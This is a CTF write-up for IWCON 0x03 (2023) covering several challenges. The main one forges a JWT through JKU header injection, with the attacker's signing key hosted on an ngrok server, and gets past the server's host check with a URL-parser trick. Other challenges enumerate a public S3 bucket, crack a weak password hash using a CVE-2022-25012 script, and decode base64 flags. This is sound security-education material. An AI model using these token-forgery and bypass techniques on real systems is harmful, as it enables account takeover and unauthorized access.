IWCON 0x03 CTF 2023
API
IWCON 2023 API
Solve
Foothold
The challenge provided a postman collection file
1
cat IWCON_2023_API.postman_collection.json | jq .
It includes 2 endpoints
1
2
{{baseURL}}/api/v2/getUser?username=krishna
{{baseURL}}/api/v2/getFlag
For getFlag
, it requires post request with the parameter token
These are the variables defined in postman collection
1
2
3
4
5
6
7
8
9
10
11
12
"variable": [
{
"key": "baseURL",
"value": "http://3.111.42.9:9595",
"type": "string"
},
{
"key": "token",
"value": "<Your_Token>",
"type": "string"
}
]
By sending requests to /api/v2/getUser
, we can get a JWT for any users except iwcon
And admin
doesn’t have permissions to read flags
Requesting token for iwcon
returns Try harder
, so we need to forge its token
Create a forged token
jku
was presented in token headers
1
python jwt_tool.py $(cat /tmp/api.jwt)
1
2
3
4
5
6
7
8
9
10
11
12
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = "JWT"
[+] alg = "RS256"
[+] kid = "1234"
[+] jku = "http://3.111.42.9:9595/.well-known/jwk.json"
Token payload values:
[+] username = "administrator"
By visiting http://3.111.42.9:9595/.well-known/jwk.json
, we can see JWK (JSON Web Key)
Follow the section : SELF SIGNED JWT WITH JKU HEADER INJECTION
from this writeup
After generating a JWK
, host it with ngrok
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(bravosec㉿fsociety)-[/tmp/www]
└─$ cat index.html
{
"keys": [
{
"p": "_iVSf0E4pMOBcOOBALotcDd1uQCLQgAe9P640EF691rpYehu4XCoO2wNvb-e9hafzURv74z475LLHwZsqEaTCx0FW_IhbG0NuAUm6e1woo_slqFNc1giOlYb9GD0xDS7m1Bf_c6zzTc7mx2vyW8CkfwL5xwz3_rqp8KiieWDkD0",
"kty": "RSA",
"q": "uMSOpDQhC2MnS8IKhkeq4UdCQmmazHpCpT1pDzu4XCRnI-IYOewGIdjM42jFttpKxNgT3IdRMstNU8t_QySZyK-hfPzAmmo27cGaEPY2ptgyT_7WSble64qIJwAG7EcVRieL9BQnU6PTgjyH9EMu1MrcDEdp7D5nusKDYB7bmw8",
"d": "WLuJj2hW3RkYZu23dMnBYZC5uvnGRAAHbOc6yHmgVHXQA4EO7lb5yrhcxS7iXHrcaGAxh-KtSI8O9FvO7EX23G9pVPEgWAxiiRuABXRLNwcc31jN19gNiXs3LWTZM4hZcFVcJ4Do776omYbtsup78F8IPHQ89vam3B1fBda5RxFdyeWe0Y-4icRFbfpvm-26h1uypHFr5WZMnKabgUU5H6yMb5LIKjhJp4ofqbyNwqGeB6LzfXbmavI9nI5JUGVPI7fw_UvsECGaUssGZvSPH2W8e85ffLtfzOTDJfO8v_f1CnN8Wcv33EYYK9fCwQyXLtWI9tMjbgZj2mLg6lsFeQ",
"e": "AQAB",
"kid": "67e5c692-c3c5-4706-92ef-530e2de8ab00",
"qi": "SE5GrjbYwYRBE-jvxhZnXrFETJMKaxW_bi-LCCpkqGqIVBV6xjn8rVEiNhq9CCSh0aXS2VE_TEQqqVzb1y4TzH9eYO1uhoFs24VA6FmJtZxnQQRQVs0OD3L73upneHjzYzDCAud8oZd4nqOlsdQJ8NYsU1LnXZKwKE8ge5IXJB4",
"dp": "XTx9_neD-1ZKJ4sfKZAj2VZPVvavICCBOuo0DRrorNRqaGPoQcadwWcLx4AEJk34hErGMgDq1qFo6VHnDPkPOvWDoM68mlWLweYJ96oHN2xLpJs6mcVMkVBD4yyqv0yFQx6CiM-LQQ8xS9_hPKoALGRmTXwYP-SCr9cE4EgWMxU",
"dq": "txLK4xhjxYyxWvcgxnwsbJrWpEdPAlwBvQhkGJvryCCpsXxM1NdwHAlcudcOUGdqvi_7Pf82DUYzkFuJ9VVGqvqa3-TwUg_77QhvR28uJ5MABxNR8CqkSm4xCbOVKHgmNCTrHyT48n7ZC6o-a2BF_sIh1mjMIzCSRxKEabEplzE",
"n": "t231ele6eF1kCmrqVsh8chFKdOeyRM0IzRe-8iN84TYdMYhEqhsmJtNZeYyjPOtPoxQQw6Q2pSKpbH44xHybBqn962V8_ERmRe3ns74lafAXb-yY8dgCA9Vm40cSiPrQzrV68rFo_NbkqvV8_abTw6fb2jaMtSJTPiN5bsczp116HpRwvLJkZVPGHt64X06gyJkiw9ZslxCmt-YWXYtlCxjnPZTS-FyUjHPo5w10OWJHccUbvfBz9KA5o8GbGDfYjDbeqQJ7muObRinDGWyZQm8NRL8Huux-FRFxKi12AKV8bhD_yyJlIZ4X3nf5U_geo4so79728RLmDRRepTlikw"
}
]
}
1
2
┌──(bravosec㉿fsociety)-[/tmp/www]
└─$ python -m http.server 80
1
ngrok http 80
After forging JKU
and username
in the token, sign the token with our JWK
1
2
3
4
5
6
7
8
9
POST /api/v2/getFlag HTTP/1.1
Host: 3.111.42.9:9595
User-Agent: curl/8.4.0
Accept: */*
Content-Length: 540
Content-Type: application/x-www-form-urlencoded
Connection: close
token=eyJqa3UiOiJodHRwczovLzc1N2YtMTE0LTM2LTE3LTIxNS5uZ3Jvay1mcmVlLmFwcCIsImtpZCI6IjY3ZTVjNjkyLWMzYzUtNDcwNi05MmVmLTUzMGUyZGU4YWIwMCIsInR5cCI6IkpXVCIsImFsZyI6IlJTMjU2In0.eyJ1c2VybmFtZSI6ImFkbWluIn0.OJY-8-9hUxEtSTH3w_LzfvC4ijYVbVBPCRzOII6JWIPLiwX3PFcpdo1Gks4vi3dpGAoX6ZJRAyQm7QDzRv083GngSqF1ZrH5ZfNEt8MWqK28rpVQx9BnatUxXYdaA3gNiWtPPyDl9cJsX1T6w4MCRljb9qih_gOCMjAtV6KxxKR2nJAPhSUbR0yzr7c13UWFQNnifSwBLGMcbxg2Doeh-fBqSS4JvueXKnQRyV-Th5RBlvUx6prQGk0IXW1I-93dCkbWXSUDX4JCzqXHa6qI0xgp_akhz8S1pcwq2sUECujVAgz75ke-pzQhSkzh5wN1G_T5jXEcKKIMTcg6JlKCWw
We got only 3.111.42.9 is allowed
error message, so the backend is validating the host
Bypass python weak parser
Since the server backend was python
1
Server: Werkzeug/3.0.1 Python/3.10.12
Use the method to bypass weak parsers by Orange Tsai - Presentation LINK
Header :
1
2
3
4
5
6
{
"typ": "JWT",
"alg": "RS256",
"kid": "1234",
"jku": "http://3.111.42.9@https://6a09-114-36-17-215.ngrok-free.app"
}
Payload :
1
2
3
4
{
"username": "iwcon",
"admin": "true"
}
Misc
IW-cl0ud
Info
Bucket : iwcon
Solve
Download logs from misconfigured AWS bucket
Talking about bucket
, it’s most likely to be AWS buckets
Format : https://<bucket-name>.s3.<region>.amazonaws.com/<key-name>
There’s one zip file with the owner kmskrishna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[~/htb/BattleGround/BattleGroundTricks/www]
└─$ curl -s https://iwcon.s3.amazonaws.com | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>iwcon</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>logss-1.zip</Key>
<LastModified>2023-12-14T09:29:31.000Z</LastModified>
<ETag>"ea93c1afb3e00c3dd0b831bd51948d45-5"</ETag>
<Size>69063919</Size>
<Owner>
<ID>57b04fad0ec99177505b88f13947e9714b3674f731f7bd8b88caff84bbe0c0f3</ID>
<DisplayName>kmskrishna</DisplayName>
</Owner>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>
Enumerate the bucket
1
2
3
┌──(bravosec㉿fsociety)-[/tmp]
└─$ s3scanner -bucket iwcon
INFO exists | iwcon | us-east-1 | AuthUsers: [] | AllUsers: [READ, READ_ACP]
Download the zip file
1
wget https://iwcon.s3.amazonaws.com/logss-1.zip
Analyze logs zip file
1
2
3
4
5
6
7
8
9
10
11
12
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads]
└─$ 7z l logss-1.zip
[...]
2023-11-20 00:25:01 ..... 6632 1142 logss/20210604181424/log_2826.log
2023-11-20 00:25:01 ..... 6690 1143 logss/20210604181424/log_2548.log
2023-11-20 00:25:01 ..... 6576 1121 logss/20210604181424/log_7205.log
2023-11-20 00:25:01 ..... 6698 1153 logss/20210604181424/log_2595.log
2023-11-20 00:25:01 ..... 6743 1138 logss/20210604181424/log_5840.log
2023-11-20 00:25:01 ..... 6742 1145 logss/20210604181424/log_1039.log
2023-11-20 00:25:01 ..... 6694 1151 logss/20210604181424/log_363.log
------------------- ----- ------------ ------------ ------------------------
2023-11-30 19:17:52 334645012 57093185 49983 files, 4865 folders
1
2
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads]
└─$ 7z x -o'logss' logss-1.zip
There’s a lot of logs with same messages
1
2
3
4
5
6
7
8
9
10
11
┌──(bravosec㉿fsociety)-[/media/…/Downloads/logss/logss/20230904181444]
└─$ cat log_165.log
[2023-07-15 18:14:44.924651] INFO: Application - Invalid input data
[2023-07-23 18:14:44.924657] WARNING: Application - Service unavailable
[2023-01-31 18:14:44.924662] ERROR: Network - Timeout exceeded
[2022-10-17 18:14:44.924666] CRITICAL: System - Invalid input data
[2023-01-31 18:14:44.924670] DEBUG: System - Authentication failed
[2023-07-03 18:14:44.924674] WARNING: Application - Invalid input data
[2022-11-04 18:14:44.924678] ERROR: System - Segmentation fault
[2023-03-05 18:14:44.924682] WARNING: System - Invalid input data
[2023-05-21 18:14:44.924686] INFO: Network - File not found
Method 1 - Find strings with high entropy
https://github.com/godaddy/tartufo/
1
2
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads/logss/logss]
└─$ tartufo scan-folder .
1
2
3
4
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads/logss/logss]
└─$ echo 'SVdDT057dV9yXzRfY2wwdWRfY2g0bXAxMG59Cg' | base64 -d
IWCON{u_r_4_cl0ud_ch4mp10n}
base64: invalid input
Method 2 - Filter out known log messages
Extract know error messages
1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads/logss/logss]
└─$ cat 20230904181444/log_165.log | awk -F'- ' '{print $2}' | uniq | tee known_logs.txt
Invalid input data
Service unavailable
Timeout exceeded
Invalid input data
Authentication failed
Invalid input data
[...]
Exclude known error messages using grep
1
2
3
4
5
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads/logss/logss]
└─$ grep -rin -v -f known_logs.txt
grep: .DS_Store: binary file matches
20170822181433/log_8040.log:15:[2023-05-10 18:14:33.463111] FATAL: Output from the program: SVdDT057dV9yXzRfY2wwdWRfY2g0bXAxMG59Cg
gitleaks.json:1:[]
Survival
Info
Survival of the fittest!
Password hash: 5E536069E1B0D86997C06889B734BD8FAAFEECEC9083AAFECA79F787C875F787B740418D57E5B352
Hint: CVE-2022-25012
Solve
Weak Password Encryption
The github repo for CVE provided in challenge description is a rabbit hole
The character mappings was not complete, some special characters are missing
Google : CVE-2022-25012
https://github.com/s3l33/CVE-2022-25012
1
2
git clone https://github.com/s3l33/CVE-2022-25012
cd CVE-2022-25012
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
┌──(bravosec㉿fsociety)-[/tmp/CVE-2022-25012]
└─$ python CVE-2022-25012.py 5E536069E1B0D86997C06889B734BD8FAAFEECEC9083AAFECA79F787C875F787B740418D57E5B352
#########################################
# _____ Surveillance DVR 4.0 #
# / _ \_______ ____ __ __ ______ #
# / /_\ \_ __ \/ ___\| | \/ ___/ #
# / | \ | \/ /_/ > | /\___ \ #
# \____|__ /__| \___ /|____//____ > #
# \/ /_____/ \/ #
# Weak Password Encryption #
############ @deathflash1411 ############
# #
# Updated by S3L33 #
#########################################
[+] 5E53:I
[+] 6069:W
[+] E1B0:C
[+] D869:O
[+] 97C0:N
[+] 6889:{
[+] B734:y
[+] BD8F:0
[+] AAFE:u
[+] ECEC:_
[+] 9083:s
[+] AAFE:u
[+] CA79:r
[+] F787:v
[+] C875:i
[+] F787:v
[+] B740:e
[+] 418D:d
[+] 57E5:?
[+] B352:}
[+] Password: IWCON{y0u_survived?}
D3CODE2
Info
What is it trying to convey? Can you help me understand it? 💻
Flag format: IWCON{}
Solve
Decipher with cyberchef
By using the magic wand in cyberchef, we got some morse codes
Search for corresponding operations to decrypt outputs
Into The Shadows
Info
Am I FUNCTIONing right?
Solve
Info
There’s a lot of javascripts in folders
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads]
└─$ 7z l javascript.zip
[...]
2023-11-14 14:24:17 ..... 9 9 auth-staging.redbullcontentpool.com/main.da0ed6af23552eb9.js
2023-11-14 14:24:17 ..... 9 9 auth-staging.redbullcontentpool.com/runtime.cde9fce2cb501830.js
2023-11-14 14:24:17 D.... 0 0 auth.redbullcontentpool.com
2023-11-14 14:24:16 ..... 9 9 auth.redbullcontentpool.com/polyfills.e2e77a460016dcd4.js
2023-11-14 14:24:16 ..... 9 9 auth.redbullcontentpool.com/main.da0ed6af23552eb9.js
2023-11-14 14:24:17 ..... 9 9 auth.redbullcontentpool.com/runtime.cde9fce2cb501830.js
2023-11-14 14:24:16 D.... 0 0 auth0.redbull.com
2023-11-14 14:24:16 ..... 9 9 auth0.redbull.com/startApp.edcf0e2d67ad3e6d97ad.js
------------------- ----- ------------ ------------ ------------------------
2023-12-15 01:23:25 90009838 23515652 266 files, 79 folders
1
2
7z x -o'javascript' javascript.zip
cd javascript
Narrow down the scope
Sort by time and cd into the latest modified/accessed folder
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads/javascript]
└─$ ls -latr
[...]
drwxrwx--- 1 root vboxsf 0 Nov 14 14:26 account.redbull.com
drwxrwx--- 1 root vboxsf 0 Nov 14 14:26 assets.tumblr.com
drwxrwx--- 1 root vboxsf 0 Nov 14 14:26 ajax.googleapis.com
drwxrwx--- 1 root vboxsf 0 Nov 14 14:26 assets.onrewind.tv
drwxrwx--- 1 root vboxsf 0 Dec 15 01:19 afterparty.redbull.com
drwxrwx--- 1 root vboxsf 0 Dec 15 01:23 admin.fr.redbullmusicacademy.com
drwxrwx--- 1 root vboxsf 0 Dec 15 23:39 .
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads/javascript]
└─$ cd admin.fr.redbullmusicacademy.com
Grep for flag
1
grep -rin 'flag'
1
2
3
┌──(bravosec㉿fsociety)-[/media/sf_Kali/Downloads/javascript/admin.fr.redbullmusicacademy.com]
└─$ echo 'SVdDT057aGkzM2Qzbl9pbl90aDNfc2hhZDB3c30=' | base64 -d
IWCON{hi33d3n_in_th3_shad0ws}